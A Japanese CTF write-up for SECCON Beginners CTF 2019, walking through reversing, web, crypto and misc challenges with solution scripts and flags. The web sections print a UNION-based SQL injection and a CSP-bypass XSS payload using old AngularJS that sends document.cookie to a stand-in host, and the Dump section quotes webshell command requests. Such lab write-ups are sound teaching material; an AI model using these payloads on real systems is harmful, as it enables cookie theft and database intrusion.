SECCON Beginners CTF 2019 writeup #ctf4b

はじめに

2019/05/25 15:00 JST - 2019/05/26 15:00 JSTに開催されたSECCON Beginners CTF 2019のwriteupです.
自分が解いた問題について書きます.

注意事項 / Notes

本記事はあくまでサイバーセキュリティに関する情報共有の一環として執筆したものであり,違法な行為を助長するものではありません.
本記事に掲載されている攻撃手法を公開されているシステム等に対して実行するといった行為は決して行わないでください

The purpose of this article is to share information about cybersecurity with the community in order to promote better understanding of modern threats and techniques.
The author does NOT condone illegal activity of any nature; please do not carry out any attacks described herein against any system(s) you do not have explicit permission to attack.

Reversing / Seccompare

コマンドライン引数とFlagをstrcmpで比較しているようです.
そのため,ltraceにてライブラリ呼び出しの際の引数を確認すればFlagが判明します.

ctf4b{5tr1ngs_1s_n0t_en0ugh}

Reversing / Leakage

gdbmain関数を確認するとis_correct関数にて引数のチェックをしていることがわかります.

gdb-peda$ pdisas main
Dump of assembler code for function main:
   0x0000000000400660 <+0>:     push   rbp
   0x0000000000400661 <+1>:     mov    rbp,rsp
   0x0000000000400664 <+4>:     sub    rsp,0x10
   0x0000000000400668 <+8>:     mov    DWORD PTR [rbp-0x4],edi
   0x000000000040066b <+11>:    mov    QWORD PTR [rbp-0x10],rsi
   0x000000000040066f <+15>:    cmp    DWORD PTR [rbp-0x4],0x1
   0x0000000000400673 <+19>:    jg     0x400697 <main+55>
   0x0000000000400675 <+21>:    mov    rax,QWORD PTR [rbp-0x10]
   0x0000000000400679 <+25>:    mov    rax,QWORD PTR [rax]
   0x000000000040067c <+28>:    mov    rsi,rax
   0x000000000040067f <+31>:    lea    rdi,[rip+0x5fd]        # 0x400c83
   0x0000000000400686 <+38>:    mov    eax,0x0
   0x000000000040068b <+43>:    call   0x4004f0 <printf@plt>
   0x0000000000400690 <+48>:    mov    eax,0x1
   0x0000000000400695 <+53>:    jmp    0x4006cd <main+109>
   0x0000000000400697 <+55>:    mov    rax,QWORD PTR [rbp-0x10]
   0x000000000040069b <+59>:    add    rax,0x8
   0x000000000040069f <+63>:    mov    rax,QWORD PTR [rax]
   0x00000000004006a2 <+66>:    mov    rdi,rax
   0x00000000004006a5 <+69>:    call   0x4005e7 <is_correct>
   0x00000000004006aa <+74>:    test   eax,eax
   0x00000000004006ac <+76>:    je     0x4006bc <main+92>
   0x00000000004006ae <+78>:    lea    rdi,[rip+0x5de]        # 0x400c93
   0x00000000004006b5 <+85>:    call   0x4004c0 <puts@plt>
   0x00000000004006ba <+90>:    jmp    0x4006c8 <main+104>
   0x00000000004006bc <+92>:    lea    rdi,[rip+0x5d8]        # 0x400c9b
   0x00000000004006c3 <+99>:    call   0x4004c0 <puts@plt>
   0x00000000004006c8 <+104>:   mov    eax,0x0
   0x00000000004006cd <+109>:   leave  
   0x00000000004006ce <+110>:   ret    
End of assembler dump.

このis_correct関数を見ると,まずstrlen関数で文字列の長さが0x22と等しいか調べた後,convertという関数を呼び出しつつ引数として与えた文字がFlagと一致しているか1文字ずつ調べています.
そのため,ctf4b{aaaaaaaaaaaaaaaaaaaaaaaaaaa}(34文字)のような適当な値を入力してみて,is_correct関数が入力値とFlagを1文字ずつ照合している流れを追っていけばFlagが得られます.

ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}

Web / Ramen

店員を名前で検索するところに脆弱性がありそうです.
試しに,' UNION SELECT 1,2; #という値を入力すると,末尾に1 2というデータが表示されたことから,このデータベースがSQLiが可能だとわかります.
あとは,どのようなテーブルがあるか調べたあと,flagというテーブルの中身を確認すればFlagが取得できます.

' UNION SELECT table_name,column_name FROM Information_schema.COLUMNS; # -> flag flag
' UNION SELECT 1, flag FROM flag; #

ctf4b{a_simple_sql_injection_with_union_select}

Web / Katsudon

/flagのページの文字列の前半をBase64デコードするとフラグが得られました.

 ❯ echo BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU | base64 -D  
I"%ctf4b{K33P_Y0UR_53CR37_K3Y_B453}:ET%    

ctf4b{K33P_Y0UR_53CR37_K3Y_B453}

Web / Secure Meyasubako

意見を書くための掲示板のようなWebアプリケーションと,管理者を模したクローラのプログラムが提示されます.
クローラのプログラムからは,CookieにFlagが設定されていることがわかります.
このことから,目的は掲示板に対してXSS的な攻撃を仕掛け,クローラにそのリンクを踏ませることでCookieの内容を窃取することだと考えられます.

そこで,新しい意見の作成の部分で入力値に<script>...</script>を入力してみましたがうまく動きません.
よく確認してみると,HTTPレスポンスヘッダーに以下のContent Security Policyが設定されていました.

Content-Security-Policy: script-src 
    'self' 
    www.google.com 
    www.gstatic.com 
    stackpath.bootstrapcdn.com 
    code.jquery.com 
    cdnjs.cloudflare.com

ここでインラインスクリプトの実行を許可するunsafe-inlineが指定されていないため, <script>...</script>のような値を入力してもそのJavaScriptの実行は許可されません. そのため,例えエスケープが適切になされていなくても,従来のXSS攻撃にように単純にJavaScriptコードを注入するだけでは問題を解くことができません.  

さて,このようなWhitelist型のCSPは脆弱であることが知られています.
具体的には,Whitelistに登録されているオリジンが古いバージョンのAngularJSをホストしている場合,それを読み込んだ上でAngularJSのテンプレートをコンテンツ内に埋め込むことでCSPによるWhitelistの制限を回避しながらJavaScriptコードを注入することができます.

幸いにも,cdnjs.cloudflare.comが古いバージョンのAngularJSをホストしていたため,これを読み込むように設定します.また,テンプレート内でwindowオブジェクトを利用可能にするためにprototype.jsも読み込むように設定します.

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>

テンプレートの埋め込みは以下のように行います.

<div ng-app ng-csp>{{ // JavaScript code }}</div>

テンプレート内部では,以下のコードによってwindowオブジェクトにアクセス可能になります.

$on.curry.call(); // => window

テンプレートに埋め込むJavaScriptコードは,前述の通りクローラのCookieを窃取する必要があるため,クエリ文字列にdocument.cookieの値を設定したGETリクエストを自身が管理しているAPIに対して投げさせるのが良さそうです.
そこで,document.cookieの値をクエリ文字列に設定したURLをfetchするような以下のコードを入力値に設定しました.

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>{{ $on.curry.call().fetch("https://your_api.com?s="+$on.curry.call().document.cookie )}}</div>

この下書きを管理者に届けたところ,クローラから自身が管理しているAPIに対してdocument.cookieの値を含んだ以下のようなGETリクエストが飛んでくるので,そこでFlagを取得することができます.

[Sun May 26 00:09:29 2019] ::1:49689 [404]: /?s=flag=ctf4b{MEOW_MEOW_MEOW_NO_MORE_WHITELIST_MEOW}

ctf4b{MEOW_MEOW_MEOW_NO_MORE_WHITELIST_MEOW}

Crypto / So Tired

渡されたデータ(encrypted.txt)を確認すると,Base64文字列であると何と無くわかります.
そこでBase64デコードをしたものを確認しましたが,バイナリ形式で読めるものではありません.
ここで,出力値をfileコマンドで調べると,zlibで圧縮されたファイルであることがわかります.   それを解凍すると,またBase64文字列が出現します.

手作業でやるわけにはいかないので,以下のスクリプトを実装し実行したところFlagが取得できました.

import zlib
import base64

data = open("encrypted.txt").read()

while True:
    data = base64.b64decode(data)
    print(data)
    data = zlib.decompress(data)
    print(data)

Crypto / Party

encrypt.pyencryptedから以下のことがわかります.

  • encrypted[(party[0], val[0]), (party[1], val[1]), (party[2], val[2])]という形式である
  • partyの値は上記より判明している
  • valの値はpartyの各要素とcoeffを関数fに渡した時の戻り値である
  • 関数f(x, coeff)では,coeff[0] + x * coeff[1] + x^2 * coeff[2]を戻り値としている

まとめると,encrypt.pyは以下の連立方程式として表すことができます.

val[0] = coeff[0] + party[0] * coeff[1] + pow(party[0], 2) * coeff[2]
val[1] = coeff[0] + party[1] * coeff[1] + pow(party[1], 2) * coeff[2]
val[2] = coeff[0] + party[2] * coeff[1] + pow(party[2], 2) * coeff[2]

このうち,partyvalはわかっているので,残りのcoeffに関しては連立方程式を解くことで得ることができます.
以下のようなスクリプトを実装しました.

mport sympy
from Crypto.Util.number import long_to_bytes

A = [(5100090496682565208825623434336918311864447624450952089752237720911276820495717484390023008022927770468262348522176083674815520433075299744011857887705787, 222638290427721156440609599834544835128160823091076225790070665084076715023297095195684276322931921148857141465170916344422315100980924624012693522150607074944043048564215929798729234427365374901697953272928546220688006218875942373216634654077464666167179276898397564097622636986101121187280281132230947805911792158826522348799847505076755936308255744454313483999276893076685632006604872057110505842966189961880510223366337320981324768295629831215770023881406933), (3084167692493508694370768656017593556897608397019882419874114526720613431299295063010916541874875224502547262257703456540809557381959085686435851695644473, 81417930808196073362113286771400172654343924897160732604367319504584434535742174505598230276807701733034198071146409460616109362911964089058325415946974601249986915787912876210507003930105868259455525880086344632637548921395439909280293255987594999511137797363950241518786018566983048842381134109258365351677883243296407495683472736151029476826049882308535335861496696382332499282956993259186298172080816198388461095039401628146034873832017491510944472269823075), (6308915880693983347537927034524726131444757600419531883747894372607630008404089949147423643207810234587371577335307857430456574490695233644960831655305379, 340685435384242111115333109687836854530859658515630412783515558593040637299676541210584027783029893125205091269452871160681117842281189602329407745329377925190556698633612278160369887385384944667644544397208574141409261779557109115742154052888418348808295172970976981851274238712282570481976858098814974211286989340942877781878912310809143844879640698027153722820609760752132963102408740130995110184113587954553302086618746425020532522148193032252721003579780125)]

p = []
v = []

for a in A:
    p.append(a[0])
    v.append(a[1])

x = sympy.Symbol('x')
y = sympy.Symbol('y')
z = sympy.Symbol('z')

expr1 = x + p[0] * y + (p[0]**2) * z - v[0]
expr2 = x + p[1] * y + (p[1]**2) * z - v[1]
expr3 = x + p[2] * y + (p[2]**2) * z - v[2]

ans = sympy.solve([
    expr1, expr2, expr3
])

# x = FLAG = 175721217420600153444809007773872697631803507409137493048703574941320093728
FLAG = 175721217420600153444809007773872697631803507409137493048703574941320093728

print(long_to_bytes(FLAG))

ctf4b{just_d0ing_sh4mir}

Misc / Welcome

IRCサーバにFlagがあります.
ctf4b{welcome_to_seccon_beginners_ctf}

Misc / Containers

ContainersなのでDocker問かと思いきや違いました.
問題のファイルをbinwalkすると大量のPNGデータが含まれていることがわかるので,foremostで取り出しました.
その画像群を順に読むとFlagが得られました.

ctf4b{e52df60c058746a66e4ac4f34db6fc81}

Misc / Dump

またもやbinwalkするとパケットキャプチャファイルであることがわかります.
そこで,ファイルをWiresharkで開き確認すると,2件のHTTP通信が行われていることがわかります.

それぞれのHTTPリクエストをよくみると,OSコマンドインジェクションによってFlagを読み出そうとしているようです. - webshell.php%3fcmd=ls%20%2Dl%20%2Fhome%2Fctf4b%2Fflag - webshell.php%3fcmd=hexdump%20%2De%20%2716%2F1%20%22%2502%2E3o%20%22%20%22%5Cn%22%27%20%2Fhome%2Fctf4b%2Fflag

これらのパーセントエンコーディングをデコードすると,以下のようなコマンドだとわかります. - ls -l /home/ctf4b/flag - hexdump -e '16/1 "%02.3o " "¥n"' /home/ctf4b/flag

このうち重要なのはFlagを8進数形式でhexdumpしている後者です.
HTTPレスポンスの内容を8進数として読み取り,バイナリ形式に変換するスクリプトを実装し結果を確認したところ,tar形式の圧縮ファイルが出力されました.

B = b""

with open("httpres.txt") as f:
    octals = f.read().split()

    for octal in octals:
        decimal = int(octal, 8)

        B += decimal.to_bytes(1, "little")

open("result", "wb").write(B)
$ python solver.py

このtarファイルを解凍するとFlagが記載された画像ファイルが入手できます.

ctf4b{hexdump_is_very_useful}

Misc / Sliding Pazzle

8パスルをどんどん解いていく問題です.
8パズルの解法についてはWeb上にたくさん転がっているので省略します.
入出力や通信部分のフォーマットを適切に設定していれば,あとはソルバを実装すれば解くことができました.

$ python solver.py
['2', '3', '3', '2', '1', '0', '3', '0']
['0', '3', '3']
...
['0', '3', '2', '2', '1', '1', '0', '0', '3', '3']
b'[+] Congratulations! ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}\n'

ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}